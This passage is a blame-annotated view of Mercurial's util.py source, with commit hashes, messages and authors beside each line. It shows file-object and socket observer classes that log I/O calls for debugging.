parents: 43907
diff changeset
811 self.fh = fh
4222b9d5d4fb util: move common proxyobserver attributes to the base class
Matt Harbison <matt_harbison@yahoo.com>
parents: 43907
diff changeset
812 self.name = name
4222b9d5d4fb util: move common proxyobserver attributes to the base class
Matt Harbison <matt_harbison@yahoo.com>
parents: 43907
diff changeset
813 self.logdata = logdata
4222b9d5d4fb util: move common proxyobserver attributes to the base class
Matt Harbison <matt_harbison@yahoo.com>
parents: 43907
diff changeset
814 self.logdataapis = logdataapis
4222b9d5d4fb util: move common proxyobserver attributes to the base class
Matt Harbison <matt_harbison@yahoo.com>
parents: 43907
diff changeset
815
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
816 def _writedata(self, data):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
817 if not self.logdata:
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
818 if self.logdataapis:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
819 self.fh.write(b'\n')
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
820 self.fh.flush()
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
821 return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
822
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
823 # Simple case writes all data on a single line.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
824 if b'\n' not in data:
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
825 if self.logdataapis:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
826 self.fh.write(b': %s\n' % stringutil.escapestr(data))
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
827 else:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
828 self.fh.write(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
829 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
830 )
36991
d683c7367989 wireproto: explicitly flush stdio to prevent stalls on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents: 36958
diff changeset
831 self.fh.flush()
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
832 return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
833
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
834 # Data with newlines is written to multiple lines.
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
835 if self.logdataapis:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
836 self.fh.write(b':\n')
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
837
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
838 lines = data.splitlines(True)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
839 for line in lines:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
840 self.fh.write(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
841 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
842 )
36991
d683c7367989 wireproto: explicitly flush stdio to prevent stalls on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents: 36958
diff changeset
843 self.fh.flush()
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
844
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
845
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
846 class fileobjectobserver(baseproxyobserver):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
847 """Logs file object activity."""
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
848
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
849 def __init__(
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
850 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
851 ):
43920
4222b9d5d4fb util: move common proxyobserver attributes to the base class
Matt Harbison <matt_harbison@yahoo.com>
parents: 43907
diff changeset
852 super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
853 self.reads = reads
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
854 self.writes = writes
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
855
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
856 def read(self, res, size=-1):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
857 if not self.reads:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
858 return
36585
26a6b62919e2 util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents: 36584
diff changeset
859 # Python 3 can return None from reads at EOF instead of empty strings.
26a6b62919e2 util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents: 36584
diff changeset
860 if res is None:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
861 res = b''
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
862
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
863 if size == -1 and res == b'':
38314
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents: 38164
diff changeset
864 # Suppress pointless read(-1) calls that return
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents: 38164
diff changeset
865 # nothing. These happen _a lot_ on Python 3, and there
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents: 38164
diff changeset
866 # doesn't seem to be a better workaround to have matching
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents: 38164
diff changeset
867 # Python 2 and 3 behavior. :(
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents: 38164
diff changeset
868 return
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents: 38164
diff changeset
869
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
870 if self.logdataapis:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
871 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
872
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
873 self._writedata(res)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
874
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
875 def readline(self, res, limit=-1):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
876 if not self.reads:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
877 return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
878
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
879 if self.logdataapis:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
880 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
881
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
882 self._writedata(res)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
883
36630
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36629
diff changeset
884 def readinto(self, res, dest):
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36629
diff changeset
885 if not self.reads:
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36629
diff changeset
886 return
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36629
diff changeset
887
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
888 if self.logdataapis:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
889 self.fh.write(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
890 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
891 )
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
892
36630
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36629
diff changeset
893 data = dest[0:res] if res is not None else b''
41384
b141b5243b37 util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 41289
diff changeset
894
b141b5243b37 util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 41289
diff changeset
895 # _writedata() uses "in" operator and is confused by memoryview because
b141b5243b37 util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 41289
diff changeset
896 # characters are ints on Python 3.
b141b5243b37 util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 41289
diff changeset
897 if isinstance(data, memoryview):
b141b5243b37 util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 41289
diff changeset
898 data = data.tobytes()
b141b5243b37 util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 41289
diff changeset
899
36630
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36629
diff changeset
900 self._writedata(data)
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36629
diff changeset
901
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
902 def write(self, res, data):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
903 if not self.writes:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
904 return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
905
36631
8395fddde46c util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36630
diff changeset
906 # Python 2 returns None from some write() calls. Python 3 (reasonably)
8395fddde46c util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36630
diff changeset
907 # returns the integer bytes written.
8395fddde46c util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36630
diff changeset
908 if res is None and data:
8395fddde46c util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36630
diff changeset
909 res = len(data)
8395fddde46c util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36630
diff changeset
910
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
911 if self.logdataapis:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
912 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
913
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
914 self._writedata(data)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
915
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
916 def flush(self, res):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
917 if not self.writes:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
918 return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
919
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
920 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
921
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
922 # For observedbufferedinputpipe.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
923 def bufferedread(self, res, size):
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
924 if not self.reads:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
925 return
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
926
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
927 if self.logdataapis:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
928 self.fh.write(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
929 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
930 )
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
931
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
932 self._writedata(res)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
933
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
934 def bufferedreadline(self, res):
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
935 if not self.reads:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
936 return
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
937
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
938 if self.logdataapis:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
939 self.fh.write(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
940 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
941 )
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
942
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
943 self._writedata(res)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
944
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
945
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
946 def makeloggingfileobject(
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
947 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
948 ):
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
949 """Turn a file object into a logging file object."""
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
950
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
951 observer = fileobjectobserver(
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
952 logh,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
953 name,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
954 reads=reads,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
955 writes=writes,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
956 logdata=logdata,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
957 logdataapis=logdataapis,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
958 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
959 return fileobjectproxy(fh, observer)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
960
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
961
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
962 class socketobserver(baseproxyobserver):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
963 """Logs socket activity."""
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
964
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
965 def __init__(
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
966 self,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
967 fh,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
968 name,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
969 reads=True,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
970 writes=True,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
971 states=True,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
972 logdata=False,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
973 logdataapis=True,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
974 ):
43920
4222b9d5d4fb util: move common proxyobserver attributes to the base class
Matt Harbison <matt_harbison@yahoo.com>
parents: 43907
diff changeset
975 super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
976 self.reads = reads
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
977 self.writes = writes
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
978 self.states = states
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
979
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
980 def makefile(self, res, mode=None, bufsize=None):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
981 if not self.states:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
982 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
983
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
984 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
985
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
986 def recv(self, res, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
987 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
988 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
989
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
990 if self.logdataapis:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
991 self.fh.write(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
992 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
993 )
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
994 self._writedata(res)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
995
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
996 def recvfrom(self, res, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
997 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
998 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
999
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
1000 if self.logdataapis:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1001 self.fh.write(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1002 b'%s> recvfrom(%d, %d) -> %d'
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1003 % (self.name, size, flags, len(res[0]))
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1004 )
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
1005
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1006 self._writedata(res[0])
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1007
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1008 def recvfrom_into(self, res, buf, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1009 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1010 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1011
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
1012 if self.logdataapis:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1013 self.fh.write(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1014 b'%s> recvfrom_into(%d, %d) -> %d'
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1015 % (self.name, size, flags, res[0])
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1016 )
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1017
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1018 self._writedata(buf[0 : res[0]])
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1019
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1020 def recv_into(self, res, buf, size=0, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1021 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets
